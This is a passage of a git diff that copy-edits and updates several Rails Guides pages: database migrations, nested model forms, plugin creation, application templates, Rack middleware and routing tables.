@@ -692,22 +695,27 @@ Neither of these Rake tasks do anything you could not do with `db:migrate`. They
are simply more convenient, since you do not need to explicitly specify the
version to migrate to.
+### Setup the Database
+
+The `rake db:setup` task will create the database, load the schema and initialize
+it with the seed data.
+
### Resetting the Database
-The `rake db:reset` task will drop the database, recreate it and load the
-current schema into it.
+The `rake db:reset` task will drop the database and set it up again. This is
+functionally equivalent to `rake db:drop db:setup`.
NOTE: This is not the same as running all the migrations. It will only use the
-contents of the current schema.rb file. If a migration can't be rolled back,
-'rake db:reset' may not help you. To find out more about dumping the schema see
-'[schema dumping and you](#schema-dumping-and-you).'
+contents of the current `schema.rb` file. If a migration can't be rolled back,
+`rake db:reset` may not help you. To find out more about dumping the schema see
+[Schema Dumping and You](#schema-dumping-and-you) section.
### Running Specific Migrations
If you need to run a specific migration up or down, the `db:migrate:up` and
`db:migrate:down` tasks will do that. Just specify the appropriate version and
the corresponding migration will have its `change`, `up` or `down` method
-invoked, for example,
+invoked, for example:
```bash
$ rake db:migrate:up VERSION=20080906120000
@@ -749,7 +757,7 @@ Several methods are provided in migrations that allow you to control all this:
| say | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
| say_with_time | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
-For example, this migration
+For example, this migration:
```ruby
class CreateProducts < ActiveRecord::Migration
@@ -812,158 +820,6 @@ The `revert` method can be helpful when writing a new migration to undo
previous migrations in whole or in part
(see [Reverting Previous Migrations](#reverting-previous-migrations) above).
-Using Models in Your Migrations
--------------------------------
-
-When creating or updating data in a migration it is often tempting to use one
-of your models. After all, they exist to provide easy access to the underlying
-data. This can be done, but some caution should be observed.
-
-For example, problems occur when the model uses database columns which are (1)
-not currently in the database and (2) will be created by this or a subsequent
-migration.
-
-Consider this example, where Alice and Bob are working on the same code base
-which contains a `Product` model:
-
-Bob goes on vacation.
-
-Alice creates a migration for the `products` table which adds a new column and
-initializes it. She also adds a validation to the `Product` model for the new
-column.
-
-```ruby
-# db/migrate/20100513121110_add_flag_to_product.rb
-
-class AddFlagToProduct < ActiveRecord::Migration
- def change
- add_column :products, :flag, :boolean
- reversible do |dir|
- dir.up { Product.update_all flag: false }
- end
- Product.update_all flag: false
- end
-end
-```
-
-```ruby
-# app/models/product.rb
-
-class Product < ActiveRecord::Base
- validates :flag, inclusion: { in: [true, false] }
-end
-```
-
-Alice adds a second migration which adds and initializes another column to the
-`products` table and also adds a validation to the `Product` model for the new
-column.
-
-```ruby
-# db/migrate/20100515121110_add_fuzz_to_product.rb
-
-class AddFuzzToProduct < ActiveRecord::Migration
- def change
- add_column :products, :fuzz, :string
- reversible do |dir|
- dir.up { Product.update_all fuzz: 'fuzzy' }
- end
- end
-end
-```
-
-```ruby
-# app/models/product.rb
-
-class Product < ActiveRecord::Base
- validates :flag, inclusion: { in: [true, false] }
- validates :fuzz, presence: true
-end
-```
-
-Both migrations work for Alice.
-
-Bob comes back from vacation and:
-
-* Updates the source - which contains both migrations and the latest version
- of the Product model.
-* Runs outstanding migrations with `rake db:migrate`, which
- includes the one that updates the `Product` model.
-
-The migration crashes because when the model attempts to save, it tries to
-validate the second added column, which is not in the database when the _first_
-migration runs:
-
-```
-rake aborted!
-An error has occurred, this and all later migrations canceled:
-
-undefined method `fuzz' for #<Product:0x000001049b14a0>
-```
-
-A fix for this is to create a local model within the migration. This keeps
-Rails from running the validations, so that the migrations run to completion.
-
-When using a local model, it's a good idea to call
-`Product.reset_column_information` to refresh the `ActiveRecord` cache for the
-`Product` model prior to updating data in the database.
-
-If Alice had done this instead, there would have been no problem:
-
-```ruby
-# db/migrate/20100513121110_add_flag_to_product.rb
-
-class AddFlagToProduct < ActiveRecord::Migration
- class Product < ActiveRecord::Base
- end
-
- def change
- add_column :products, :flag, :boolean
- Product.reset_column_information
- reversible do |dir|
- dir.up { Product.update_all flag: false }
- end
- end
-end
-```
-
-```ruby
-# db/migrate/20100515121110_add_fuzz_to_product.rb
-
-class AddFuzzToProduct < ActiveRecord::Migration
- class Product < ActiveRecord::Base
- end
-
- def change
- add_column :products, :fuzz, :string
- Product.reset_column_information
- reversible do |dir|
- dir.up { Product.update_all fuzz: 'fuzzy' }
- end
- end
-end
-```
-
-There are other ways in which the above example could have gone badly.
-
-For example, imagine that Alice creates a migration that selectively
-updates the `description` field on certain products. She runs the
-migration, commits the code, and then begins working on the next feature,
-which is to add a new column `fuzz` to the products table.
-
-She creates two migrations for this new feature, one which adds the new
-column, and a second which selectively updates the `fuzz` column based on
-other product attributes.
-
-These migrations run just fine, but when Bob comes back from his vacation
-and calls `rake db:migrate` to run all the outstanding migrations, he gets a
-subtle bug: The descriptions have defaults, and the `fuzz` column is present,
-but `fuzz` is nil on all products.
-
-The solution is again to use `Product.reset_column_information` before
-referencing the Product model in a migration, ensuring the Active Record's
-knowledge of the table structure is current before manipulating data in those
-records.
-
Schema Dumping and You
----------------------
@@ -1033,8 +889,8 @@ this, then you should set the schema format to `:sql`.
Instead of using Active Record's schema dumper, the database's structure will
be dumped using a tool specific to the database (via the `db:structure:dump`
Rake task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump`
-utility is used. For MySQL, this file will contain the output of `SHOW CREATE
-TABLE` for the various tables.
+utility is used. For MySQL, this file will contain the output of
+`SHOW CREATE TABLE` for the various tables.
Loading these schemas is simply a question of executing the SQL statements they
contain. By definition, this will create a perfect copy of the database's
diff --git a/guides/source/nested_model_forms.md b/guides/source/nested_model_forms.md
index b90b3bb5fc..4f0634d955 100644
--- a/guides/source/nested_model_forms.md
+++ b/guides/source/nested_model_forms.md
@@ -9,7 +9,7 @@ After reading this guide, you will know:
--------------------------------------------------------------------------------
-NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it’s **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/).
+NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it's **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/).
Model setup
@@ -17,9 +17,9 @@ Model setup
To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
-First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be build.
+First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be built.
-If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.
+If the associated object is an array, a form builder will be yielded for each object, else only a single form builder will be yielded.
Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the `:address` attribute, the `fields_for` form helper will look for a method on the Person instance named `address_attributes=`.
@@ -56,7 +56,7 @@ end
### Custom model
-As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior:
+As you might have inflected from this explanation, you _don't_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior:
#### Single associated object
@@ -177,7 +177,7 @@ When this form is posted the Rails parameter parser will construct a hash like t
}
```
-That’s it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved.
+That's it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved.
#### Nested form for a collection of associated objects
@@ -220,6 +220,6 @@ As you can see it has generated 2 `project name` inputs, one for each new `proje
You can basically see the `projects_attributes` hash as an array of attribute hashes, one for each model instance.
-NOTE: The reason that `fields_for` constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
+NOTE: The reason that `fields_for` constructed a hash instead of an array is that it won't work for any form nested deeper than one level deep.
TIP: You _can_ however pass an array to the writer method generated by `accepts_nested_attributes_for` if you're using plain Ruby or some other API access. See (TODO) for more info and example.
diff --git a/guides/source/plugins.md b/guides/source/plugins.md
index 695f25f8a9..fe4215839f 100644
--- a/guides/source/plugins.md
+++ b/guides/source/plugins.md
@@ -3,9 +3,9 @@ The Basics of Creating Rails Plugins
A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
-* a way for developers to share bleeding-edge ideas without hurting the stable code base
-* a segmented architecture so that units of code can be fixed or updated on their own release schedule
-* an outlet for the core developers so that they don’t have to include every cool new feature under the sun
+* A way for developers to share bleeding-edge ideas without hurting the stable code base.
+* A segmented architecture so that units of code can be fixed or updated on their own release schedule.
+* An outlet for the core developers so that they don't have to include every cool new feature under the sun.
After reading this guide, you will know:
@@ -15,7 +15,7 @@ After reading this guide, you will know:
This guide describes how to build a test-driven plugin that will:
* Extend core Ruby classes like Hash and String.
-* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins.
+* Add methods to `ActiveRecord::Base` in the tradition of the `acts_as` plugins.
* Give you information about where to put generators in your plugin.
For the purpose of this guide pretend for a moment that you are an avid bird watcher.
@@ -34,15 +34,21 @@ different rails applications using RubyGems and Bundler if desired.
Rails ships with a `rails plugin new` command which creates a
- skeleton for developing any kind of Rails extension with the ability
- to run integration tests using a dummy Rails application. See usage
- and options by asking for help:
+skeleton for developing any kind of Rails extension with the ability
+to run integration tests using a dummy Rails application. Create your
+plugin with the command:
+
+```bash
+$ rails plugin new yaffle
+```
+
+See usage and options by asking for help:
```bash
$ rails plugin --help
```
-Testing your newly generated plugin
+Testing Your Newly Generated Plugin
-----------------------------------
You can navigate to the directory that contains the plugin, run the `bundle install` command
@@ -68,7 +74,7 @@ In this example you will add a method to String named `to_squawk`. To begin, cre
require 'test_helper'
-class CoreExtTest < Test::Unit::TestCase
+class CoreExtTest < ActiveSupport::TestCase
def test_to_squawk_prepends_the_word_squawk
assert_equal "squawk! Hello World", "Hello World".to_squawk
end
@@ -86,12 +92,12 @@ Run `rake` to run the test. This test should fail because we haven't implemented
Great - now you are ready to start development.
-Then in `lib/yaffle.rb` add `require "yaffle/core_ext"`:
+In `lib/yaffle.rb`, add `require 'yaffle/core_ext'`:
```ruby
# yaffle/lib/yaffle.rb
-require "yaffle/core_ext"
+require 'yaffle/core_ext'
module Yaffle
end
@@ -126,8 +132,8 @@ $ rails console
Add an "acts_as" Method to Active Record
----------------------------------------
-A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you
-want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models.
+A common pattern in plugins is to add a method called `acts_as_something` to models. In this case, you
+want to write a method called `acts_as_yaffle` that adds a `squawk` method to your Active Record models.
To begin, set up your files so that you have:
@@ -136,14 +142,14 @@ To begin, set up your files so that you have:
require 'test_helper'
-class ActsAsYaffleTest < Test::Unit::TestCase
+class ActsAsYaffleTest < ActiveSupport::TestCase
end
```
```ruby
# yaffle/lib/yaffle.rb
-require "yaffle/core_ext"
+require 'yaffle/core_ext'
require 'yaffle/acts_as_yaffle'
module Yaffle
@@ -162,9 +168,9 @@ end
### Add a Class Method
-This plugin will expect that you've added a method to your model named 'last_squawk'. However, the
-plugin users might have already defined a method on their model named 'last_squawk' that they use
-for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
+This plugin will expect that you've added a method to your model named `last_squawk`. However, the
+plugin users might have already defined a method on their model named `last_squawk` that they use
+for something else. This plugin will allow the name to be changed by adding a class method called `yaffle_text_field`.
To start out, write a failing test that shows the behavior you'd like:
@@ -173,7 +179,7 @@ To start out, write a failing test that shows the behavior you'd like:
require 'test_helper'
-class ActsAsYaffleTest < Test::Unit::TestCase
+class ActsAsYaffleTest < ActiveSupport::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
assert_equal "last_squawk", Hickwall.yaffle_text_field
@@ -213,12 +219,11 @@ $ rails generate model Wickwall last_squawk:string last_tweet:string
```
Now you can create the necessary database tables in your testing database by navigating to your dummy app
-and migrating the database. First
+and migrating the database. First, run:
```bash
$ cd test/dummy
$ rake db:migrate
-$ rake db:test:prepare
```
While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
@@ -239,7 +244,7 @@ end
```
-We will also add code to define the acts_as_yaffle method.
+We will also add code to define the `acts_as_yaffle` method.
```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
@@ -280,7 +285,7 @@ You can then return to the root directory (`cd ../..`) of your plugin and rerun
```
-Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.
+Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass.
```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
@@ -304,7 +309,7 @@ end
ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
```
-When you run `rake` you should see the tests all pass:
+When you run `rake`, you should see the tests all pass:
```bash
5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
@@ -321,7 +326,7 @@ To start out, write a failing test that shows the behavior you'd like:
# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'
-class ActsAsYaffleTest < Test::Unit::TestCase
+class ActsAsYaffleTest < ActiveSupport::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
assert_equal "last_squawk", Hickwall.yaffle_text_field
@@ -384,7 +389,11 @@ Run `rake` one final time and you should see:
7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
```
-NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`.
+NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use:
+
+```ruby
+send("#{self.class.yaffle_text_field}=", string.to_squawk)
+```
Generators
----------
@@ -392,7 +401,7 @@ Generators
Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
the creation of generators can be found in the [Generators Guide](generators.html)
-Publishing your Gem
+Publishing Your Gem
-------------------
Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
@@ -405,12 +414,12 @@ gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
After running `bundle install`, your gem functionality will be available to the application.
When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org).
-For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html)
+For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html).
RDoc Documentation
------------------
-Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
+Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md
index f8062a1f7c..e4222e1283 100644
--- a/guides/source/rails_application_templates.md
+++ b/guides/source/rails_application_templates.md
@@ -47,7 +47,7 @@ The following sections outline the primary methods provided by the API:
### gem(*args)
-Adds a `gem` entry for the supplied gem to the generated application’s `Gemfile`.
+Adds a `gem` entry for the supplied gem to the generated application's `Gemfile`.
For example, if your application depends on the gems `bj` and `nokogiri`:
@@ -78,7 +78,7 @@ end
Adds the given source to the generated application's `Gemfile`.
-For example, if you need to source a gem from "http://code.whytheluckystiff.net":
+For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`:
```ruby
add_source "http://code.whytheluckystiff.net"
@@ -98,7 +98,7 @@ A block can be used in place of the `data` argument.
### vendor/lib/file/initializer(filename, data = nil, &block)
-Adds an initializer to the generated application’s `config/initializers` directory.
+Adds an initializer to the generated application's `config/initializers` directory.
Let's say you like using `Object#not_nil?` and `Object#not_blank?`:
@@ -127,7 +127,7 @@ file 'app/components/foo.rb', <<-CODE
CODE
```
-That’ll create the `app/components` directory and put `foo.rb` in there.
+That'll create the `app/components` directory and put `foo.rb` in there.
### rakefile(filename, data = nil, &block)
@@ -197,7 +197,7 @@ end
### ask(question)
-`ask()` gives you a chance to get some feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you’re adding:
+`ask()` gives you a chance to get some feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you're adding:
```ruby
lib_name = ask("What do you want to call the shiny library ?")
@@ -211,7 +211,7 @@ CODE
### yes?(question) or no?(question)
-These methods let you ask questions from templates and decide the flow based on the user’s answer. Let's say you want to freeze rails only if the user wants to:
+These methods let you ask questions from templates and decide the flow based on the user's answer. Let's say you want to freeze rails only if the user wants to:
```ruby
rake("rails:freeze:gems") if yes?("Freeze rails gems?")
@@ -227,3 +227,22 @@ git :init
git add: "."
git commit: "-a -m 'Initial commit'"
```
+
+Advanced Usage
+--------------
+
+The application template is evaluated in the context of a
+`Rails::Generators::AppGenerator` instance. It uses the `apply` action
+provided by
+[Thor](https://github.com/erikhuda/thor/blob/master/lib/thor/actions.rb#L207).
+This means you can extend and change the instance to match your needs.
+
+For example by overwriting the `source_paths` method to contain the
+location of your template. Now methods like `copy_file` will accept
+relative paths to your template's location.
+
+```ruby
+def source_paths
+ [File.expand_path(File.dirname(__FILE__))]
+end
+```
diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md
index d144fba762..b1b4c8fa4e 100644
--- a/guides/source/rails_on_rack.md
+++ b/guides/source/rails_on_rack.md
@@ -5,7 +5,6 @@ This guide covers Rails integration with Rack and interfacing with other Rack co
After reading this guide, you will know:
-* How to create Rails Metal applications.
* How to use Rack Middlewares in your Rails applications.
* Action Pack's internal Middleware stack.
* How to define a custom Middleware stack.
@@ -28,10 +27,9 @@ Rails on Rack
### Rails Application's Rack Object
-`ApplicationName::Application` is the primary Rack application object of a Rails
+`Rails.application` is the primary Rack application object of a Rails
application. Any Rack compliant web server should be using
-`ApplicationName::Application` object to serve a Rails
-application. `Rails.application` refers to the same application object.
+`Rails.application` object to serve a Rails application.
### `rails server`
@@ -84,7 +82,7 @@ To use `rackup` instead of Rails' `rails server`, you can put the following insi
# Rails.root/config.ru
require ::File.expand_path('../config/environment', __FILE__)
-use Rack::Debugger
+use Rails::Rack::Debugger
use Rack::ContentLength
run Rails.application
```
@@ -119,6 +117,7 @@ $ rake middleware
For a freshly generated Rails application, this might produce something like:
```ruby
+use Rack::Sendfile
use ActionDispatch::Static
use Rack::Lock
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838>
@@ -141,10 +140,10 @@ use ActionDispatch::ParamsParser
use Rack::Head
use Rack::ConditionalGet
use Rack::ETag
-run MyApp::Application.routes
+run Rails.application.routes
```
-Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section.
+The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below.
### Configuring Middleware Stack
@@ -182,18 +181,17 @@ You can swap an existing middleware in the middleware stack using `config.middle
config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
```
-#### Middleware Stack is an Enumerable
+#### Deleting a Middleware
-The middleware stack behaves just like a normal `Enumerable`. You can use any `Enumerable` methods to manipulate or interrogate the stack. The middleware stack also implements some `Array` methods including `[]`, `unshift` and `delete`. Methods described in the section above are just convenience methods.
-
-Append following lines to your application configuration:
+Add the following lines to your application configuration:
```ruby
# config/application.rb
config.middleware.delete "Rack::Lock"
```
-And now if you inspect the middleware stack, you'll find that `Rack::Lock` will not be part of it.
+And now if you inspect the middleware stack, you'll find that `Rack::Lock` is
+not a part of it.
```bash
$ rake middleware
@@ -202,7 +200,7 @@ use ActionDispatch::Static
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
use Rack::Runtime
...
-run Blog::Application.routes
+run Rails.application.routes
```
If you want to remove session related middleware, do the following:
@@ -225,116 +223,100 @@ config.middleware.delete "Rack::MethodOverride"
Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:
- **`ActionDispatch::Static`**
+**`Rack::Sendfile`**
+
+* Sets server specific X-Sendfile header. Configure this via `config.action_dispatch.x_sendfile_header` option.
-* Used to serve static assets. Disabled if `config.serve_static_assets` is true.
+**`ActionDispatch::Static`**
- **`Rack::Lock`**
+* Used to serve static assets. Disabled if `config.serve_static_assets` is `false`.
+
+**`Rack::Lock`**
* Sets `env["rack.multithread"]` flag to `false` and wraps the application within a Mutex.
- **`ActiveSupport::Cache::Strategy::LocalCache::Middleware`**
+**`ActiveSupport::Cache::Strategy::LocalCache::Middleware`**
* Used for memory caching. This cache is not thread safe.
- **`Rack::Runtime`**
+**`Rack::Runtime`**
* Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.
- **`Rack::MethodOverride`**
+**`Rack::MethodOverride`**
* Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types.
- **`ActionDispatch::RequestId`**
+**`ActionDispatch::RequestId`**
* Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#uuid` method.
- **`Rails::Rack::Logger`**
+**`Rails::Rack::Logger`**
* Notifies the logs that the request has began. After request is complete, flushes all the logs.
- **`ActionDispatch::ShowExceptions`**
+**`ActionDispatch::ShowExceptions`**
* Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.
- **`ActionDispatch::DebugExceptions`**
+**`ActionDispatch::DebugExceptions`**
* Responsible for logging exceptions and showing a debugging page in case the request is local.
- **`ActionDispatch::RemoteIp`**
+**`ActionDispatch::RemoteIp`**
* Checks for IP spoofing attacks.
- **`ActionDispatch::Reloader`**
+**`ActionDispatch::Reloader`**
* Provides prepare and cleanup callbacks, intended to assist with code reloading during development.
- **`ActionDispatch::Callbacks`**
+**`ActionDispatch::Callbacks`**
* Runs the prepare callbacks before serving the request.
- **`ActiveRecord::Migration::CheckPending`**
+**`ActiveRecord::Migration::CheckPending`**
* Checks pending migrations and raises `ActiveRecord::PendingMigrationError` if any migrations are pending.
- **`ActiveRecord::ConnectionAdapters::ConnectionManagement`**
+**`ActiveRecord::ConnectionAdapters::ConnectionManagement`**
* Cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
- **`ActiveRecord::QueryCache`**
+**`ActiveRecord::QueryCache`**
* Enables the Active Record query cache.
- **`ActionDispatch::Cookies`**
+**`ActionDispatch::Cookies`**
* Sets cookies for the request.
- **`ActionDispatch::Session::CookieStore`**
+**`ActionDispatch::Session::CookieStore`**
* Responsible for storing the session in cookies.
- **`ActionDispatch::Flash`**
+**`ActionDispatch::Flash`**
* Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value.
- **`ActionDispatch::ParamsParser`**
+**`ActionDispatch::ParamsParser`**
* Parses out parameters from the request into `params`.
- **`ActionDispatch::Head`**
+**`ActionDispatch::Head`**
* Converts HEAD requests to `GET` requests and serves them as so.
- **`Rack::ConditionalGet`**
+**`Rack::ConditionalGet`**
* Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed.
- **`Rack::ETag`**
+**`Rack::ETag`**
* Adds ETag header on all String bodies. ETags are used to validate cache.
TIP: It's possible to use any of the above middlewares in your custom Rack stack.
-### Using Rack Builder
-
-The following shows how to replace use `Rack::Builder` instead of the Rails supplied `MiddlewareStack`.
-
-<strong>Clear the existing Rails middleware stack</strong>
-
-```ruby
-# config/application.rb
-config.middleware.clear
-```
-
-<br />
-<strong>Add a `config.ru` file to `Rails.root`</strong>
-
-```ruby
-# config.ru
-use MyOwnStackFromScratch
-run Rails.application
-```
-
Resources
---------
diff --git a/guides/source/routing.md b/guides/source/routing.md
index 76c4c25108..0783bce442 100644
--- a/guides/source/routing.md
+++ b/guides/source/routing.md
@@ -89,15 +89,15 @@ resources :photos
creates seven different routes in your application, all mapping to the `Photos` controller:
-| HTTP Verb | Path | Action | Used for |
-| --------- | ---------------- | ------- | -------------------------------------------- |
-| GET | /photos | index | display a list of all photos |
-| GET | /photos/new | new | return an HTML form for creating a new photo |
-| POST | /photos | create | create a new photo |
-| GET | /photos/:id | show | display a specific photo |
-| GET | /photos/:id/edit | edit | return an HTML form for editing a photo |
-| PATCH/PUT | /photos/:id | update | update a specific photo |
-| DELETE | /photos/:id | destroy | delete a specific photo |
+| HTTP Verb | Path | Controller#Action | Used for |
+| --------- | ---------------- | ----------------- | -------------------------------------------- |
+| GET | /photos | photos#index | display a list of all photos |
+| GET | /photos/new | photos#new | return an HTML form for creating a new photo |
+| POST | /photos | photos#create | create a new photo |
+| GET | /photos/:id | photos#show | display a specific photo |
+| GET | /photos/:id/edit | photos#edit | return an HTML form for editing a photo |
+| PATCH/PUT | /photos/:id | photos#update | update a specific photo |
+| DELETE | /photos/:id | photos#destroy | delete a specific photo |
NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
@@ -138,7 +138,7 @@ Sometimes, you have a resource that clients always look up without referencing a
get 'profile', to: 'users#show'
```
-Passing a `String` to `match` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action:
+Passing a `String` to `get` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action:
```ruby
get 'profile', to: :show
@@ -152,14 +152,14 @@ resource :geocoder
creates six different routes in your application, all mapping to the `Geocoders` controller:
-| HTTP Verb | Path | Action | Used for |
-| --------- | -------------- | ------- | --------------------------------------------- |
-| GET | /geocoder/new | new | return an HTML form for creating the geocoder |
-| POST | /geocoder | create | create the new geocoder |
-| GET | /geocoder | show | display the one and only geocoder resource |
-| GET | /geocoder/edit | edit | return an HTML form for editing the geocoder |
-| PATCH/PUT | /geocoder | update | update the one and only geocoder resource |
-| DELETE | /geocoder | destroy | delete the geocoder resource |
+| HTTP Verb | Path | Controller#Action | Used for |
+| --------- | -------------- | ----------------- | --------------------------------------------- |
+| GET | /geocoder/new | geocoders#new | return an HTML form for creating the geocoder |
+| POST | /geocoder | geocoders#create | create the new geocoder |
+| GET | /geocoder | geocoders#show | display the one and only geocoder resource |
+| GET | /geocoder/edit | geocoders#edit | return an HTML form for editing the geocoder |
+| PATCH/PUT | /geocoder | geocoders#update | update the one and only geocoder resource |
+| DELETE | /geocoder | geocoders#destroy | delete the geocoder resource |
NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. So that, for example, `resource :photo` and `resources :photos` creates both singular and plural routes that map to the same controller (`PhotosController`).
@@ -189,15 +189,15 @@ end
This will create a number of routes for each of the `posts` and `comments` controller. For `Admin::PostsController`, Rails will create:
-| HTTP Verb | Path | Action | Used for |
-| --------- | --------------------- | ------- | ------------------------- |
-| GET | /admin/posts | index | admin_posts_path |
-| GET | /admin/posts/new | new | new_admin_post_path |
-| POST | /admin/posts | create | admin_posts_path |
-| GET | /admin/posts/:id | show | admin_post_path(:id) |
-| GET | /admin/posts/:id/edit | edit | edit_admin_post_path(:id) |
-| PATCH/PUT | /admin/posts/:id | update | admin_post_path(:id) |
-| DELETE | /admin/posts/:id | destroy | admin_post_path(:id) |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | --------------------- | ------------------- | ------------------------- |
+| GET | /admin/posts | admin/posts#index | admin_posts_path |
+| GET | /admin/posts/new | admin/posts#new | new_admin_post_path |
+| POST | /admin/posts | admin/posts#create | admin_posts_path |
+| GET | /admin/posts/:id | admin/posts#show | admin_post_path(:id) |
+| GET | /admin/posts/:id/edit | admin/posts#edit | edit_admin_post_path(:id) |
+| PATCH/PUT | /admin/posts/:id | admin/posts#update | admin_post_path(:id) |
+| DELETE | /admin/posts/:id | admin/posts#destroy | admin_post_path(:id) |
If you want to route `/posts` (without the prefix `/admin`) to `Admin::PostsController`, you could use:
@@ -229,15 +229,17 @@ resources :posts, path: '/admin/posts'
In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `PostsController`:
-| HTTP Verb | Path | Action | Named Helper |
-| --------- | --------------------- | ------- | ------------------- |
-| GET | /admin/posts | index | posts_path |
-| GET | /admin/posts/new | new | new_post_path |
-| POST | /admin/posts | create | posts_path |
-| GET | /admin/posts/:id | show | post_path(:id) |
-| GET | /admin/posts/:id/edit | edit | edit_post_path(:id) |
-| PATCH/PUT | /admin/posts/:id | update | post_path(:id) |
-| DELETE | /admin/posts/:id | destroy | post_path(:id) |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | --------------------- | ----------------- | ------------------- |
+| GET | /admin/posts | posts#index | posts_path |
+| GET | /admin/posts/new | posts#new | new_post_path |
+| POST | /admin/posts | posts#create | posts_path |
+| GET | /admin/posts/:id | posts#show | post_path(:id) |
+| GET | /admin/posts/:id/edit | posts#edit | edit_post_path(:id) |
+| PATCH/PUT | /admin/posts/:id | posts#update | post_path(:id) |
+| DELETE | /admin/posts/:id | posts#destroy | post_path(:id) |
+
+TIP: _If you need to use a different controller namespace inside a `namespace` block you can specify an absolute controller path, e.g: `get '/foo' => '/foo#index'`._
### Nested Resources
@@ -263,15 +265,15 @@ end
In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine:
-| HTTP Verb | Path | Action | Used for |
-| --------- | ------------------------------------ | ------- | -------------------------------------------------------------------------- |
-| GET | /magazines/:magazine_id/ads | index | display a list of all ads for a specific magazine |
-| GET | /magazines/:magazine_id/ads/new | new | return an HTML form for creating a new ad belonging to a specific magazine |
-| POST | /magazines/:magazine_id/ads | create | create a new ad belonging to a specific magazine |
-| GET | /magazines/:magazine_id/ads/:id | show | display a specific ad belonging to a specific magazine |
-| GET | /magazines/:magazine_id/ads/:id/edit | edit | return an HTML form for editing an ad belonging to a specific magazine |
-| PATCH/PUT | /magazines/:magazine_id/ads/:id | update | update a specific ad belonging to a specific magazine |
-| DELETE | /magazines/:magazine_id/ads/:id | destroy | delete a specific ad belonging to a specific magazine |
+| HTTP Verb | Path | Controller#Action | Used for |
